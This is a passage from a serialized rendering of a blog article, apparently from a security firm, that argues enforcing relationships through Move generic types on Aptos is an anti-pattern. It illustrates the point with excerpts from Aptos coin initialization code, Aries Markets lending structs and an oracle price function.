LP>(",{"type":23,"tag":139,"props":4441,"children":4442},{"style":294},[4443],{"type":28,"value":4444},"pool_addr",{"type":23,"tag":139,"props":4446,"children":4447},{"style":259},[4448],{"type":28,"value":1820},{"type":23,"tag":24,"props":4450,"children":4451},{},[4452,4454,4460,4461,4468],{"type":28,"value":4453},"As an aside, this generic type information is implemented at runtime in the ",{"type":23,"tag":135,"props":4455,"children":4457},{"className":4456},[],[4458],{"type":28,"value":4459},"ty_args",{"type":28,"value":471},{"type":23,"tag":64,"props":4462,"children":4465},{"href":4463,"rel":4464},"https://github.com/move-language/move/blob/2412f877a5065132f31bfc339e6d1f2b9de10e87/language/move-vm/runtime/src/interpreter.rs#L88",[68],[4466],{"type":28,"value":4467},"at the vm level",{"type":28,"value":4469},". This VM level implementation choice makes it rather difficult to iterate over arbitrary generic types, such as with summing the coins in a pool. We will be releasing a deep dive into move's VM internals shortly.",{"type":23,"tag":24,"props":4471,"children":4472},{},[4473,4475,4481,4483,4489,4491,4497,4498,4504],{"type":28,"value":4474},"In pseucode, this checks that ",{"type":23,"tag":135,"props":4476,"children":4478},{"className":4477},[],[4479],{"type":28,"value":4480},"coin_x.type",{"type":28,"value":4482}," is equal to ",{"type":23,"tag":135,"props":4484,"children":4486},{"className":4485},[],[4487],{"type":28,"value":4488},"pool.x_type",{"type":28,"value":4490},", and ",{"type":23,"tag":135,"props":4492,"children":4494},{"className":4493},[],[4495],{"type":28,"value":4496},"coin_y.type",{"type":28,"value":4482},{"type":23,"tag":135,"props":4499,"children":4501},{"className":4500},[],[4502],{"type":28,"value":4503},"pool.y_type",{"type":28,"value":73},{"type":23,"tag":24,"props":4506,"children":4507},{},[4508],{"type":28,"value":4509},"This type system has two advantages",{"type":23,"tag":797,"props":4511,"children":4512},{},[4513,4525],{"type":23,"tag":801,"props":4514,"children":4515},{},[4516,4518,4523],{"type":28,"value":4517},"It's required. The type parameter ",{"type":23,"tag":659,"props":4519,"children":4520},{},[4521],{"type":28,"value":4522},"must",{"type":28,"value":4524}," be specified so it's impossible to forget such a constraint",{"type":23,"tag":801,"props":4526,"children":4527},{},[4528],{"type":28,"value":4529},"It's concise. Constraints are done via type parameter alignment instead of verbose equivalence checks",{"type":23,"tag":24,"props":4531,"children":4532},{},[4533],{"type":28,"value":4534},"However, this system isn't perfect.",{"type":23,"tag":24,"props":4536,"children":4537},{},[4538,4540,4545],{"type":28,"value":4539},"In fact, I would go as far as to argue that using types to create such associations is ",{"type":23,"tag":56,"props":4541,"children":4542},{},[4543],{"type":28,"value":4544},"an anti-pattern",{"type":28,"value":73},{"type":23,"tag":24,"props":4547,"children":4548},{},[4549,4551,4557],{"type":28,"value":4550},"Using types to enforce relationships only works because types are uniquely associated with instances. For example, in Aptos's coin initialization function, they explicitly assert that there hasn't been a previously initialized ",{"type":23,"tag":135,"props":4552,"children":4554},{"className":4553},[],[4555],{"type":28,"value":4556},"CoinInfo\u003CCoinType>",{"type":28,"value":73},{"type":23,"tag":128,"props":4559,"children":4561},{"className":948,"code":4560,"language":947,"meta":7,"style":7},"  fun initialize_internal\u003CCoinType>(\n      // ...\n  ): (BurnCapability\u003CCoinType>, FreezeCapability\u003CCoinType>, MintCapability\u003CCoinType>) {\n      // ...\n\n      assert!(\n          !exists\u003CCoinInfo\u003CCoinType>>(account_addr),\n          error::already_exists(ECOIN_INFO_ALREADY_PUBLISHED),\n      );\n",[4562],{"type":23,"tag":135,"props":4563,"children":4564},{"__ignoreMap":7},[4565,4592,4600,4669,4676,4683,4695,4740,4762],{"type":23,"tag":139,"props":4566,"children":4567},{"class":141,"line":142},[4568,4573,4578,4582,4587],{"type":23,"tag":139,"props":4569,"children":4570},{"style":294},[4571],{"type":28,"value":4572},"  fun",{"type":23,"tag":139,"props":4574,"children":4575},{"style":294},[4576],{"type":28,"value":4577}," initialize_internal",{"type":23,"tag":139,"props":4579,"children":4580},{"style":259},[4581],{"type":28,"value":3808},{"type":23,"tag":139,"props":4583,"children":4584},{"style":305},[4585],{"type":28,"value":4586},"CoinType",{"type":23,"tag":139,"props":4588,"children":4589},{"style":259},[4590],{"type":28,"value":4591},">(\n",{"type":23,"tag":139,"props":4593,"children":4594},{"class":141,"line":151},[4595],{"type":23,"tag":139,"props":4596,"children":4597},{"style":958},[4598],{"type":28,"value":4599},"      // ...\n",{"type":23,"tag":139,"props":4601,"children":4602},{"class":141,"line":160},[4603,4608,4612,4616,4621,4625,4629,4634,4639,4643,4647,4651,4656,4660,4664],{"type":23,"tag":139,"props":4604,"children":4605},{"style":259},[4606],{"type":28,"value":4607},"  )",{"type":23,"tag":139,"props":4609,"children":4610},{"style":982},[4611],{"type":28,"value":2493},{"type":23,"tag":139,"props":4613,"children":4614},{"style":259},[4615],{"type":28,"value":1042},{"type":23,"tag":139,"props":4617,"children":4618},{"style":305},[4619],{"type":28,"value":4620},"BurnCapability",{"type":23,"tag":139,"props":4622,"children":4623},{"style":259},[4624],{"type":28,"value":3808},{"type":23,"tag":139,"props":4626,"children":4627},{"style":305},[4628],{"type":28,"value":4586},{"type":23,"tag":139,"props":4630,"children":4631},{"style":259},[4632],{"type":28,"value":4633},">, ",{"type":23,"tag":139,"props":4635,"children":4636},{"style":305},[4637],{"type":28,"value":4638},"FreezeCapability",{"type":23,"tag":139,"props":4640,"children":4641},{"style":259},[4642],{"type":28,"value":3808},{"type":23,"tag":139,"props":4644,"children":4645},{"style":305},[4646],{"type":28,"value":4586},{"type":23,"tag":139,"props":4648,"children":4649},{"style":259},[4650],{"type":28,"value":4633},{"type":23,"tag":139,"props":4652,"children":4653},{"style":305},[4654],{"type":28,"value":4655},"MintCapability",{"type":23,"tag":139,"props":4657,"children":4658},{"style":259},[4659],{"type":28,"value":3808},{"type":23,"tag":139,"props":4661,"children":4662},{"style":305},[4663],{"type":28,"value":4586},{"type":23,"tag":139,"props":4665,"children":4666},{"style":259},[4667],{"type":28,"value":4668},">) {\n",{"type":23,"tag":139,"props":4670,"children":4671},{"class":141,"line":169},[4672],{"type":23,"tag":139,"props":4673,"children":4674},{"style":958},[4675],{"type":28,"value":4599},{"type":23,"tag":139,"props":4677,"children":4678},{"class":141,"line":178},[4679],{"type":23,"tag":139,"props":4680,"children":4681},{"emptyLinePlaceholder":15},[4682],{"type":28,"value":184},{"type":23,"tag":139,"props":4684,"children":4685},{"class":141,"line":187},[4686,4691],{"type":23,"tag":139,"props":4687,"children":4688},{"style":245},[4689],{"type":28,"value":4690},"      assert!",{"type":23,"tag":139,"props":4692,"children":4693},{"style":259},[4694],{"type":28,"value":1443},{"type":23,"tag":139,"props":4696,"children":4697},{"class":141,"line":196},[4698,4703,4708,4712,4717,4721,4725,4730,4735],{"type":23,"tag":139,"props":4699,"children":4700},{"style":982},[4701],{"type":28,"value":4702},"          !",{"type":23,"tag":139,"props":4704,"children":4705},{"style":294},[4706],{"type":28,"value":4707},"exists",{"type":23,"tag":139,"props":4709,"children":4710},{"style":259},[4711],{"type":28,"value":3808},{"type":23,"tag":139,"props":4713,"children":4714},{"style":305},[4715],{"type":28,"value":4716},"CoinInfo",{"type":23,"tag":139,"props":4718,"children":4719},{"style":259},[4720],{"type":28,"value":3808},{"type":23,"tag":139,"props":4722,"children":4723},{"style":305},[4724],{"type":28,"value":4586},{"type":23,"tag":139,"props":4726,"children":4727},{"style":259},[4728],{"type":28,"value":4729},">>(",{"type":23,"tag":139,"props":4731,"children":4732},{"style":294},[4733],{"type":28,"value":4734},"account_addr",{"type":23,"tag":139,"props":4736,"children":4737},{"style":259},[4738],{"type":28,"value":4739},"),\n",{"type":23,"tag":139,"props":4741,"children":4742},{"class":141,"line":205},[4743,4748,4752,4757],{"type":23,"tag":139,"props":4744,"children":4745},{"style":259},[4746],{"type":28,"value":4747},"          error",{"type":23,"tag":139,"props":4749,"children":4750},{"style":982},[4751],{"type":28,"value":1461},{"type":23,"tag":139,"props":4753,"children":4754},{"style":245},[4755],{"type":28,"value":4756},"already_exists",{"type":23,"tag":139,"props":4758,"children":4759},{"style":259},[4760],{"type":28,"value":4761},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":139,"props":4763,"children":4764},{"class":141,"line":214},[4765],{"type":23,"tag":139,"props":4766,"children":4767},{"style":259},[4768],{"type":28,"value":4769},"      );\n",{"type":23,"tag":24,"props":4771,"children":4772},{},[4773,4775,4780],{"type":28,"value":4774},"While this ",{"type":23,"tag":135,"props":4776,"children":4778},{"className":4777},[],[4779],{"type":28,"value":4716},{"type":28,"value":4781}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":24,"props":4783,"children":4784},{},[4785,4787,4794],{"type":28,"value":4786},"Similarly, consider ",{"type":23,"tag":64,"props":4788,"children":4791},{"href":4789,"rel":4790},"https://ariesmarkets.xyz/",[68],[4792],{"type":28,"value":4793},"Aries Markets",{"type":28,"value":4795},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":24,"props":4797,"children":4798},{},[4799,4801,4807],{"type":28,"value":4800},"Their ",{"type":23,"tag":135,"props":4802,"children":4804},{"className":4803},[],[4805],{"type":28,"value":4806},"ReserveCoinContainer",{"type":28,"value":4808}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":128,"props":4810,"children":4812},{"className":948,"code":4811,"language":947,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[4813],{"type":23,"tag":135,"props":4814,"children":4815},{"__ignoreMap":7},[4816,4824,4832,4873,4881,4910,4918,4955,4963,5000,5008,5045,5052,5059],{"type":23,"tag":139,"props":4817,"children":4818},{"class":141,"line":142},[4819],{"type":23,"tag":139,"props":4820,"children":4821},{"style":958},[4822],{"type":28,"value":4823},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":139,"props":4825,"children":4826},{"class":141,"line":151},[4827],{"type":23,"tag":139,"props":4828,"children":4829},{"style":958},[4830],{"type":28,"value":4831},"  /// Stored as a resources.\n",{"type":23,"tag":139,"props":4833,"children":4834},{"class":141,"line":160},[4835,4839,4844,4848,4852,4857,4861,4865,4869],{"type":23,"tag":139,"props":4836,"children":4837},{"style":279},[4838],{"type":28,"value":3798},{"type":23,"tag":139,"props":4840,"children":4841},{"style":305},[4842],{"type":28,"value":4843}," ReserveCoinContainer",{"type":23,"tag":139,"props":4845,"children":4846},{"style":259},[4847],{"type":28,"value":3808},{"type":23,"tag":139,"props":4849,"children":4850},{"style":294},[4851],{"type":28,"value":3813},{"type":23,"tag":139,"props":4853,"children":4854},{"style":305},[4855],{"type":28,"value":4856}," Coin0",{"type":23,"tag":139,"props":4858,"children":4859},{"style":259},[4860],{"type":28,"value":3823},{"type":23,"tag":139,"props":4862,"children":4863},{"style":294},[4864],{"type":28,"value":3828},{"type":23,"tag":139,"props":4866,"children":4867},{"style":294},[4868],{"type":28,"value":3934},{"type":23,"tag":139,"props":4870,"children":4871},{"style":259},[4872],{"type":28,"value":1268},{"type":23,"tag":139,"props":4874,"children":4875},{"class":141,"line":169},[4876],{"type":23,"tag":139,"props":4877,"children":4878},{"style":958},[4879],{"type":28,"value":4880},"      /// Stores the available `Coin`.\n",{"type":23,"tag":139,"props":4882,"children":4883},{"class":141,"line":178},[4884,4889,4893,4897,4901,4906],{"type":23,"tag":139,"props":4885,"children":4886},{"style":294},[4887],{"type":28,"value":4888},"      underlying_coin",{"type":23,"tag":139,"props":4890,"children":4891},{"style":982},[4892],{"type":28,"value":2493},{"type":23,"tag":139,"props":4894,"children":4895},{"style":305},[4896],{"type":28,"value":3803},{"type":23,"tag":139,"props":4898,"children":4899},{"style":259},[4900],{"type":28,"value":3808},{"type":23,"tag":139,"props":4902,"children":4903},{"style":305},[4904],{"type":28,"value":4905},"Coin0",{"type":23,"tag":139,"props":4907,"children":4908},{"style":259},[4909],{"type":28,"value":4141},{"type":23,"tag":139,"props":4911,"children":4912},{"class":141,"line":187},[4913],{"type":23,"tag":139,"props":4914,"children":4915},{"style":958},[4916],{"type":28,"value":4917},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":139,"props":4919,"children":4920},{"class":141,"line":196},[4921,4926,4930,4934,4938,4942,4946,4950],{"type":23,"tag":139,"props":4922,"children":4923},{"style":294},[4924],{"type":28,"value":4925},"      collateralised_lp_coin",{"type":23,"tag":139,"props":4927,"children":4928},{"style":982},[4929],{"type":28,"value":2493},{"type":23,"tag":139,"props":4931,"children":4932},{"style":305},[4933],{"type":28,"value":3803},{"type":23,"tag":139,"props":4935,"children":4936},{"style":259},[4937],{"type":28,"value":3808},{"type":23,"tag":139,"props":4939,"children":4940},{"style":305},[4941],{"type":28,"value":4338},{"type":23,"tag":139,"props":4943,"children":4944},{"style":259},[4945],{"type":28,"value":3808},{"type":23,"tag":139,"props":4947,"children":4948},{"style":305},[4949],{"type":28,"value":4905},{"type":23,"tag":139,"props":4951,"children":4952},{"style":259},[4953],{"type":28,"value":4954},">>,\n",{"type":23,"tag":139,"props":4956,"children":4957},{"class":141,"line":205},[4958],{"type":23,"tag":139,"props":4959,"children":4960},{"style":958},[4961],{"type":28,"value":4962},"      /// Mint capability for LP Coin.\n",{"type":23,"tag":139,"props":4964,"children":4965},{"class":141,"line":214},[4966,4971,4975,4980,4984,4988,4992,4996],{"type":23,"tag":139,"props":4967,"children":4968},{"style":294},[4969],{"type":28,"value":4970},"      mint_capability",{"type":23,"tag":139,"props":4972,"children":4973},{"style":982},[4974],{"type":28,"value":2493},{"type":23,"tag":139,"props":4976,"children":4977},{"style":305},[4978],{"type":28,"value":4979}," MintCapability",{"type":23,"tag":139,"props":4981,"children":4982},{"style":259},[4983],{"type":28,"value":3808},{"type":23,"tag":139,"props":4985,"children":4986},{"style":305},[4987],{"type":28,"value":4338},{"type":23,"tag":139,"props":4989,"children":4990},{"style":259},[4991],{"type":28,"value":3808},{"type":23,"tag":139,"props":4993,"children":4994},{"style":305},[4995],{"type":28,"value":4905},{"type":23,"tag":139,"props":4997,"children":4998},{"style":259},[4999],{"type":28,"value":4954},{"type":23,"tag":139,"props":5001,"children":5002},{"class":141,"line":1320},[5003],{"type":23,"tag":139,"props":5004,"children":5005},{"style":958},[5006],{"type":28,"value":5007},"      /// Burn capability for LP Coin.\n",{"type":23,"tag":139,"props":5009,"children":5010},{"class":141,"line":1329},[5011,5016,5020,5025,5029,5033,5037,5041],{"type":23,"tag":139,"props":5012,"children":5013},{"style":294},[5014],{"type":28,"value":5015},"      burn_capability",{"type":23,"tag":139,"props":5017,"children":5018},{"style":982},[5019],{"type":28,"value":2493},{"type":23,"tag":139,"props":5021,"children":5022},{"style":305},[5023],{"type":28,"value":5024}," BurnCapability",{"type":23,"tag":139,"props":5026,"children":5027},{"style":259},[5028],{"type":28,"value":3808},{"type":23,"tag":139,"props":5030,"children":5031},{"style":305},[5032],{"type":28,"value":4338},{"type":23,"tag":139,"props":5034,"children":5035},{"style":259},[5036],{"type":28,"value":3808},{"type":23,"tag":139,"props":5038,"children":5039},{"style":305},[5040],{"type":28,"value":4905},{"type":23,"tag":139,"props":5042,"children":5043},{"style":259},[5044],{"type":28,"value":4954},{"type":23,"tag":139,"props":5046,"children":5047},{"class":141,"line":1580},[5048],{"type":23,"tag":139,"props":5049,"children":5050},{"emptyLinePlaceholder":15},[5051],{"type":28,"value":184},{"type":23,"tag":139,"props":5053,"children":5054},{"class":141,"line":1597},[5055],{"type":23,"tag":139,"props":5056,"children":5057},{"style":958},[5058],{"type":28,"value":4599},{"type":23,"tag":139,"props":5060,"children":5061},{"class":141,"line":1614},[5062],{"type":23,"tag":139,"props":5063,"children":5064},{"style":259},[5065],{"type":28,"value":3874},{"type":23,"tag":24,"props":5067,"children":5068},{},[5069,5071,5076],{"type":28,"value":5070},"When creating a ",{"type":23,"tag":135,"props":5072,"children":5074},{"className":5073},[],[5075],{"type":28,"value":4806},{"type":28,"value":5077},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":128,"props":5079,"children":5081},{"className":948,"code":5080,"language":947,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[5082],{"type":23,"tag":135,"props":5083,"children":5084},{"__ignoreMap":7},[5085,5128,5154,5161,5182,5227,5234,5241,5248,5285,5292],{"type":23,"tag":139,"props":5086,"children":5087},{"class":141,"line":142},[5088,5093,5097,5102,5106,5111,5116,5120,5124],{"type":23,"tag":139,"props":5089,"children":5090},{"style":245},[5091],{"type":28,"value":5092},"  public",{"type":23,"tag":139,"props":5094,"children":5095},{"style":259},[5096],{"type":28,"value":262},{"type":23,"tag":139,"props":5098,"children":5099},{"style":294},[5100],{"type":28,"value":5101},"friend",{"type":23,"tag":139,"props":5103,"children":5104},{"style":259},[5105],{"type":28,"value":1062},{"type":23,"tag":139,"props":5107,"children":5108},{"style":294},[5109],{"type":28,"value":5110},"fun",{"type":23,"tag":139,"props":5112,"children":5113},{"style":294},[5114],{"type":28,"value":5115}," create",{"type":23,"tag":139,"props":5117,"children":5118},{"style":259},[5119],{"type":28,"value":3808},{"type":23,"tag":139,"props":5121,"children":5122},{"style":305},[5123],{"type":28,"value":4905},{"type":23,"tag":139,"props":5125,"children":5126},{"style":259},[5127],{"type":28,"value":4591},{"type":23,"tag":139,"props":5129,"children":5130},{"class":141,"line":151},[5131,5136,5140,5145,5150],{"type":23,"tag":139,"props":5132,"children":5133},{"style":294},[5134],{"type":28,"value":5135},"      lp_store",{"type":23,"tag":139,"props":5137,"children":5138},{"style":982},[5139],{"type":28,"value":2493},{"type":23,"tag":139,"props":5141,"children":5142},{"style":982},[5143],{"type":28,"value":5144}," &",{"type":23,"tag":139,"props":5146,"children":5147},{"style":294},[5148],{"type":28,"value":5149},"signer",{"type":23,"tag":139,"props":5151,"children":5152},{"style":259},[5153],{"type":28,"value":1488},{"type":23,"tag":139,"props":5155,"children":5156},{"class":141,"line":160},[5157],{"type":23,"tag":139,"props":5158,"children":5159},{"style":958},[5160],{"type":28,"value":4599},{"type":23,"tag":139,"props":5162,"children":5163},{"class":141,"line":169},[5164,5169,5173,5178],{"type":23,"tag":139,"props":5165,"children":5166},{"style":259},[5167],{"type":28,"value":5168},"  ) ",{"type":23,"tag":139,"props":5170,"children":5171},{"style":294},[5172],{"type":28,"value":4347},{"type":23,"tag":139,"props":5174,"children":5175},{"style":305},[5176],{"type":28,"value":5177}," Reserves",{"type":23,"tag":139,"props":5179,"children":5180},{"style":259},[5181],{"type":28,"value":1268},{"type":23,"tag":139,"props":5183,"children":5184},{"class":141,"line":178},[5185,5190,5194,5199,5204,5208,5213,5217,5222],{"type":23,"tag":139,"props":5186,"children":5187},{"style":259},[5188],{"type":28,"value":5189},"      lp",{"type":23,"tag":139,"props":5191,"children":5192},{"style":982},[5193],{"type":28,"value":1461},{"type":23,"tag":139,"props":5195,"children":5196},{"style":245},[5197],{"type":28,"value":5198},"assert_is_lp_store",{"type":23,"tag":139,"props":5200,"children":5201},{"style":259},[5202],{"type":28,"value":5203},"(signer",{"type":23,"tag":139,"props":5205,"children":5206},{"style":982},[5207],{"type":28,"value":1461},{"type":23,"tag":139,"props":5209,"children":5210},{"style":245},[5211],{"type":28,"value":5212},"address_of",{"type":23,"tag":139,"props":5214,"children":5215},{"style":259},[5216],{"type":28,"value":262},{"type":23,"tag":139,"props":5218,"children":5219},{"style":294},[5220],{"type":28,"value":5221},"lp_store",{"type":23,"tag":139,"props":5223,"children":5224},{"style":259},[5225],{"type":28,"value":5226},"));\n",{"type":23,"tag":139,"props":5228,"children":5229},{"class":141,"line":187},[5230],{"type":23,"tag":139,"props":5231,"children":5232},{"emptyLinePlaceholder":15},[5233],{"type":28,"value":184},{"type":23,"tag":139,"props":5235,"children":5236},{"class":141,"line":196},[5237],{"type":23,"tag":139,"props":5238,"children":5239},{"style":958},[5240],{"type":28,"value":4599},{"type":23,"tag":139,"props":5242,"children":5243},{"class":141,"line":205},[5244],{"type":23,"tag":139,"props":5245,"children":5246},{"emptyLinePlaceholder":15},[5247],{"type":28,"value":184},{"type":23,"tag":139,"props":5249,"children":5250},{"class":141,"line":214},[5251,5256,5260,5264,5268,5272,5276,5280],{"type":23,"tag":139,"props":5252,"children":5253},{"style":245},[5254],{"type":28,"value":5255},"      move_to",{"type":23,"tag":139,"props":5257,"children":5258},{"style":259},[5259],{"type":28,"value":262},{"type":23,"tag":139,"props":5261,"children":5262},{"style":294},[5263],{"type":28,"value":5221},{"type":23,"tag":139,"props":5265,"children":5266},{"style":259},[5267],{"type":28,"value":1052},{"type":23,"tag":139,"props":5269,"children":5270},{"style":305},[5271],{"type":28,"value":4806},{"type":23,"tag":139,"props":5273,"children":5274},{"style":259},[5275],{"type":28,"value":3808},{"type":23,"tag":139,"props":5277,"children":5278},{"style":305},[5279],{"type":28,"value":4905},{"type":23,"tag":139,"props":5281,"children":5282},{"style":259},[5283],{"type":28,"value":5284},"> {\n",{"type":23,"tag":139,"props":5286,"children":5287},{"class":141,"line":1320},[5288],{"type":23,"tag":139,"props":5289,"children":5290},{"style":958},[5291],{"type":28,"value":4178},{"type":23,"tag":139,"props":5293,"children":5294},{"class":141,"line":1329},[5295],{"type":23,"tag":139,"props":5296,"children":5297},{"style":259},[5298],{"type":28,"value":5299},"      });\n",{"type":23,"tag":24,"props":5301,"children":5302},{},[5303],{"type":28,"value":5304},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":24,"props":5306,"children":5307},{},[5308,5310,5316,5318,5324,5326,5331],{"type":28,"value":5309},"On the other hand, consider if you have a ",{"type":23,"tag":135,"props":5311,"children":5313},{"className":5312},[],[5314],{"type":28,"value":5315},"Position\u003CT>",{"type":28,"value":5317}," and a ",{"type":23,"tag":135,"props":5319,"children":5321},{"className":5320},[],[5322],{"type":28,"value":5323},"Market\u003CT>",{"type":28,"value":5325}," where ",{"type":23,"tag":135,"props":5327,"children":5329},{"className":5328},[],[5330],{"type":28,"value":3990},{"type":28,"value":5332}," is the coin type.",{"type":23,"tag":128,"props":5334,"children":5336},{"className":948,"code":5335,"language":947,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[5337],{"type":23,"tag":135,"props":5338,"children":5339},{"__ignoreMap":7},[5340,5368,5396,5403,5410,5417,5445,5465,5472],{"type":23,"tag":139,"props":5341,"children":5342},{"class":141,"line":142},[5343,5347,5352,5356,5360,5364],{"type":23,"tag":139,"props":5344,"children":5345},{"style":279},[5346],{"type":28,"value":4055},{"type":23,"tag":139,"props":5348,"children":5349},{"style":305},[5350],{"type":28,"value":5351}," Market",{"type":23,"tag":139,"props":5353,"children":5354},{"style":259},[5355],{"type":28,"value":3808},{"type":23,"tag":139,"props":5357,"children":5358},{"style":294},[5359],{"type":28,"value":3813},{"type":23,"tag":139,"props":5361,"children":5362},{"style":305},[5363],{"type":28,"value":3921},{"type":23,"tag":139,"props":5365,"children":5366},{"style":259},[5367],{"type":28,"value":5284},{"type":23,"tag":139,"props":5369,"children":5370},{"class":141,"line":151},[5371,5376,5380,5384,5388,5392],{"type":23,"tag":139,"props":5372,"children":5373},{"style":294},[5374],{"type":28,"value":5375},"        reserves",{"type":23,"tag":139,"props":5377,"children":5378},{"style":982},[5379],{"type":28,"value":2493},{"type":23,"tag":139,"props":5381,"children":5382},{"style":305},[5383],{"type":28,"value":3803},{"type":23,"tag":139,"props":5385,"children":5386},{"style":259},[5387],{"type":28,"value":3808},{"type":23,"tag":139,"props":5389,"children":5390},{"style":305},[5391],{"type":28,"value":3990},{"type":23,"tag":139,"props":5393,"children":5394},{"style":259},[5395],{"type":28,"value":4141},{"type":23,"tag":139,"props":5397,"children":5398},{"class":141,"line":160},[5399],{"type":23,"tag":139,"props":5400,"children":5401},{"style":958},[5402],{"type":28,"value":4178},{"type":23,"tag":139,"props":5404,"children":5405},{"class":141,"line":169},[5406],{"type":23,"tag":139,"props":5407,"children":5408},{"style":259},[5409],{"type":28,"value":1335},{"type":23,"tag":139,"props":5411,"children":5412},{"class":141,"line":178},[5413],{"type":23,"tag":139,"props":5414,"children":5415},{"emptyLinePlaceholder":15},[5416],{"type":28,"value":184},{"type":23,"tag":139,"props":5418,"children":5419},{"class":141,"line":187},[5420,5424,5429,5433,5437,5441],{"type":23,"tag":139,"props":5421,"children":5422},{"style":279},[5423],{"type":28,"value":4055},{"type":23,"tag":139,"props":5425,"children":5426},{"style":305},[5427],{"type":28,"value":5428}," Position",{"type":23,"tag":139,"props":5430,"children":5431},{"style":259},[5432],{"type":28,"value":3808},{"type":23,"tag":139,"props":5434,"children":5435},{"style":294},[5436],{"type":28,"value":3813},{"type":23,"tag":139,"props":5438,"children":5439},{"style":305},[5440],{"type":28,"value":3921},{"type":23,"tag":139,"props":5442,"children":5443},{"style":259},[5444],{"type":28,"value":5284},{"type":23,"tag":139,"props":5446,"children":5447},{"class":141,"line":196},[5448,5453,5457,5461],{"type":23,"tag":139,"props":5449,"children":5450},{"style":294},[5451],{"type":28,"value":5452},"        amount",{"type":23,"tag":139,"props":5454,"children":5455},{"style":982},[5456],{"type":28,"value":2493},{"type":23,"tag":139,"props":5458,"children":5459},{"style":305},[5460],{"type":28,"value":3862},{"type":23,"tag":139,"props":5462,"children":5463},{"style":259},[5464],{"type":28,"value":1488},{"type":23,"tag":139,"props":5466,"children":5467},{"class":141,"line":205},[5468],{"type":23,"tag":139,"props":5469,"children":5470},{"style":958},[5471],{"type":28,"value":4178},{"type":23,"tag":139,"props":5473,"children":5474},{"class":141,"line":214},[5475],{"type":23,"tag":139,"props":5476,"children":5477},{"style":259},[5478],{"type":28,"value":1335},{"type":23,"tag":24,"props":5480,"children":5481},{},[5482,5484,5489,5491,5496],{"type":28,"value":5483},"If ",{"type":23,"tag":135,"props":5485,"children":5487},{"className":5486},[],[5488],{"type":28,"value":5323},{"type":28,"value":5490}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":135,"props":5492,"children":5494},{"className":5493},[],[5495],{"type":28,"value":3990},{"type":28,"value":5497}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":24,"props":5499,"children":5500},{},[5501],{"type":28,"value":5502},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":128,"props":5504,"children":5506},{"className":948,"code":5505,"language":947,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[5507],{"type":23,"tag":135,"props":5508,"children":5509},{"__ignoreMap":7},[5510,5518,5580,5629,5681,5706,5718,5740,5748,5761],{"type":23,"tag":139,"props":5511,"children":5512},{"class":141,"line":142},[5513],{"type":23,"tag":139,"props":5514,"children":5515},{"style":958},[5516],{"type":28,"value":5517},"    /// Get the price of the token per lamport.\n",{"type":23,"tag":139,"props":5519,"children":5520},{"class":141,"line":151},[5521,5526,5530,5535,5539,5544,5548,5553,5557,5561,5566,5571,5576],{"type":23,"tag":139,"props":5522,"children":5523},{"style":294},[5524],{"type":28,"value":5525},"    public",{"type":23,"tag":139,"props":5527,"children":5528},{"style":294},[5529],{"type":28,"value":4210},{"type":23,"tag":139,"props":5531,"children":5532},{"style":245},[5533],{"type":28,"value":5534}," get_price",{"type":23,"tag":139,"props":5536,"children":5537},{"style":259},[5538],{"type":28,"value":262},{"type":23,"tag":139,"props":5540,"children":5541},{"style":294},[5542],{"type":28,"value":5543},"type_info",{"type":23,"tag":139,"props":5545,"children":5546},{"style":982},[5547],{"type":28,"value":2493},{"type":23,"tag":139,"props":5549,"children":5550},{"style":305},[5551],{"type":28,"value":5552}," TypeInfo",{"type":23,"tag":139,"props":5554,"children":5555},{"style":259},[5556],{"type":28,"value":1104},{"type":23,"tag":139,"props":5558,"children":5559},{"style":982},[5560],{"type":28,"value":2493},{"type":23,"tag":139,"props":5562,"children":5563},{"style":305},[5564],{"type":28,"value":5565}," Decimal",{"type":23,"tag":139,"props":5567,"children":5568},{"style":294},[5569],{"type":28,"value":5570}," acquires",{"type":23,"tag":139,"props":5572,"children":5573},{"style":305},[5574],{"type":28,"value":5575}," Oracle",{"type":23,"tag":139,"props":5577,"children":5578},{"style":259},[5579],{"type":28,"value":1268},{"type":23,"tag":139,"props":5581,"children":5582},{"class":141,"line":160},[5583,5587,5592,5596,5601,5605,5610,5615,5620,5625],{"type":23,"tag":139,"props":5584,"children":5585},{"style":279},[5586],{"type":28,"value":1037},{"type":23,"tag":139,"props":5588,"children":5589},{"style":294},[5590],{"type":28,"value":5591}," 